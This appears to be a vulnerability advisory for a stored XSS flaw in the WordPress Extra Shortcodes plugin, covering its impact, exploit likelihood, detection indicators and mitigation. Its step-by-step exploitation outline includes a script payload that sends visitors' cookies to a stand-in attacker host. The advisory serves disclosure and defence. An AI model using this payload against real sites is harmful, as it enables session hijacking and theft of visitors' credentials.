CVE-2025-62111: 
WordPress vulnerability analysis and mitigation

CVE-2025-62111 is a Stored Cross-Site Scripting (XSS) vulnerability in the Extra Shortcodes WordPress plugin developed by webvitaly, affecting all versions up to and including 2.2. The vulnerability was reported by Muhammad Yudha - DJ on October 9, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization of user-supplied input processed through the plugin's shortcode functionality. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript or HTML payloads via shortcode inputs, which are then persistently stored and rendered to site visitors. Exploitation requires user interaction — a privileged user must view or render the affected content — and the scope is changed, meaning the injected script executes in the context of other users' browsers (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts (e.g., redirects, credential-harvesting forms, advertisement injections) that execute in the browsers of any visitor viewing affected pages. This can lead to session hijacking, theft of sensitive user data, defacement, and distribution of malware to site visitors. Because the payload is stored server-side, all users visiting pages containing the malicious shortcode are affected without any further action by the attacker (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.034%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies the priority as Low, noting the issue is unlikely to be actively exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Extra Shortcodes plugin (version ≤ 2.2) using tools like WPScan or by inspecting page source for plugin-specific shortcode markers.
2. Obtain low-privilege access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page using the Extra Shortcodes plugin, embedding a malicious payload within a shortcode parameter — for example, injecting <script>document.location='https://attacker.com/steal?c='+document.cookie</script> into an unsanitized shortcode attribute.
4. Publish content: Submit or publish the post/page containing the malicious shortcode. The payload is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) views the affected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor/Editor accounts containing encoded script tags or JavaScript event handlers in shortcode parameters.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_posts table within shortcode content.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing Extra Shortcodes output; unusual cookie or credential exfiltration traffic.
• File System: No direct file-system artifacts expected for a stored XSS; however, monitor for newly created or modified PHP files in the plugin directory (/wp-content/plugins/extra-shortcodes/) that could indicate secondary compromise.

At the time of disclosure (December 31, 2025), Patchstack reported no official patch available from the plugin author. Site administrators should immediately deactivate and remove the Extra Shortcodes plugin (versions ≤ 2.2) until a patched version is released. As a workaround, restrict Contributor and Editor role capabilities to prevent untrusted users from publishing content with shortcodes. Patchstack customers receive virtual patching protection via the Patchstack firewall. Monitor the WordPress plugin repository and Patchstack database for an updated version (Patchstack).

Wordfence included CVE-2025-62111 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, indicating routine tracking of the issue within the WordPress security community (Wordfence). No significant vendor statements, researcher commentary, or broader media coverage beyond standard vulnerability database entries have been identified.